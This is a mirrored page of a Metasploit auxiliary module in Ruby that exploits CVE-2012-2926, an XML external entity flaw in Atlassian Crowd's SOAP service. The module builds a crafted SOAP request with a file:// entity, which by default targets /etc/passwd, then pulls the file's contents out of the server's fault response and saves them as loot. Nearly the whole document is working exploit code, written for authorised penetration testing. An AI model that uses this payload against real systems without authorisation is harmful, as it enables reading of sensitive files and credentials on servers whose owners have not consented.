Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb
19515 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
11
def initialize
12
super(
13
'Name' => 'Atlassian Crowd XML Entity Expansion Remote File Access',
14
'Description' => %q{
15
This module simply attempts to read a remote file from the server using a
16
vulnerability in the way Atlassian Crowd handles XML files. The vulnerability
17
occurs while trying to expand external entities with the SYSTEM identifier. This
18
module has been tested successfully on Linux and Windows installations of Crowd.
19
},
20
'References' => [
21
[ 'CVE', '2012-2926' ],
22
[ 'OSVDB', '82274' ],
23
[ 'BID', '53595' ],
24
[ 'URL', 'https://neg9.org/' ], # General
25
[ 'URL', 'https://confluence.atlassian.com/crowd/crowd-security-advisory-2012-05-17-283641186.html']
26
],
27
'Author' => [
28
'Will Caput', # Vulnerability discovery and Metasploit module
29
'Trevor Hartman', # Vulnerability discovery
30
'Thaddeus Bogner', # Metasploit module
31
'juan vazquez' # Metasploit module help
32
],
33
'License' => MSF_LICENSE
34
)
35
36
register_options(
37
[
38
Opt::RPORT(8095),
39
OptString.new('TARGETURI', [true, 'Path to Crowd', '/crowd/services']),
40
OptString.new('RFILE', [true, 'Remote File', '/etc/passwd'])
41
42
]
43
)
44
45
register_autofilter_ports([ 8095 ])
46
end
47
48
def run_host(ip)
49
uri = normalize_uri(target_uri.path)
50
res = send_request_cgi({
51
'uri' => uri,
52
'method' => 'GET'
53
})
54
55
if not res
56
print_error("#{rhost}:#{rport} Unable to connect")
57
return
58
end
59
60
accessfile(ip)
61
end
62
63
def accessfile(rhost)
64
uri = normalize_uri(target_uri.path)
65
print_status("#{rhost}:#{rport} Connecting to Crowd SOAP Interface")
66
67
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
68
xmlaut = 'http://authentication.integration.crowd.atlassian.com'
69
xmlsoap = 'http://soap.integration.crowd.atlassian.com'
70
entity = Rex::Text.rand_text_alpha(rand(4) + 4)
71
72
data = "<!DOCTYPE foo [<!ENTITY #{entity} SYSTEM \"file://#{datastore['RFILE']}\"> ]>" + "\r\n"
73
data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:urn="urn:SecurityServer" xmlns:aut="' + xmlaut + '" xmlns:soap="' + xmlsoap + '">' + "\r\n"
74
data << '<soapenv:Header/>' + "\r\n"
75
data << '<soapenv:Body>' + "\r\n"
76
data << '<urn:addAllPrincipals>' + "\r\n"
77
data << '<urn:in0>' + "\r\n"
78
data << '<!--Optional:-->' + "\r\n"
79
data << '<aut:name>?</aut:name>' + "\r\n"
80
data << '<!--Optional:-->' + "\r\n"
81
data << '<aut:token>?</aut:token>' + "\r\n"
82
data << '</urn:in0>' + "\r\n"
83
data << '<urn:in1>' + "\r\n"
84
data << '<!--Zero or more repetitions:-->' + "\r\n"
85
data << '<soap:SOAPPrincipalWithCredential>' + "\r\n"
86
data << '<!--Optional:-->' + "\r\n"
87
data << '<soap:passwordCredential>' + "\r\n"
88
data << '<!--Optional:-->' + "\r\n"
89
data << '<aut:credential>?</aut:credential>' + "\r\n"
90
data << '<!--Optional:-->' + "\r\n"
91
data << '<aut:encryptedCredential>'
92
data << "?&#{entity};"
93
data << '</aut:encryptedCredential>' + "\r\n"
94
data << '</soap:passwordCredential>' + "\r\n"
95
data << '<!--Optional:-->' + "\r\n"
96
data << '<soap:principal>' + "\r\n"
97
data << '<!--Optional:-->' + "\r\n"
98
data << '<soap:ID>?</soap:ID>' + "\r\n"
99
data << '<!--Optional:-->' + "\r\n"
100
data << '<soap:active>?</soap:active>' + "\r\n"
101
data << '<!--Optional:-->' + "\r\n"
102
data << '<soap:attributes>' + "\r\n"
103
data << '<!--Zero or more repetitions:-->' + "\r\n"
104
data << '<soap:SOAPAttribute>' + "\r\n"
105
data << '<!--Optional:-->' + "\r\n"
106
data << '<soap:name>?</soap:name>' + "\r\n"
107
data << '<!--Optional:-->' + "\r\n"
108
data << '<soap:values>' + "\r\n"
109
data << '<!--Zero or more repetitions:-->' + "\r\n"
110
data << '<urn:string>?</urn:string>' + "\r\n"
111
data << '</soap:values>' + "\r\n"
112
data << '</soap:SOAPAttribute>' + "\r\n"
113
data << '</soap:attributes>' + "\r\n"
114
115
res = send_request_cgi({
116
'uri' => uri,
117
'method' => 'POST',
118
'ctype' => 'text/xml; charset=UTF-8',
119
'data' => data,
120
'headers' => {
121
'SOAPAction' => '""',
122
}
123
}, 60)
124
125
if res and res.code == 500
126
case res.body
127
when /<faultstring\>Invalid boolean value: \?(.*)<\/faultstring>/m
128
loot = $1
129
if not loot or loot.empty?
130
print_status("#{rhost}#{rport} Retrieved empty file from #{rhost}:#{rport}")
131
return
132
end
133
f = ::File.basename(datastore['RFILE'])
134
path = store_loot('atlassian.crowd.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
135
print_good("#{rhost}:#{rport} Atlassian Crowd - #{datastore['RFILE']} saved in #{path}")
136
return
137
end
138
end
139
140
print_error("#{rhost}#{rport} Failed to retrieve file from #{rhost}:#{rport}")
141
end
142
end
143
144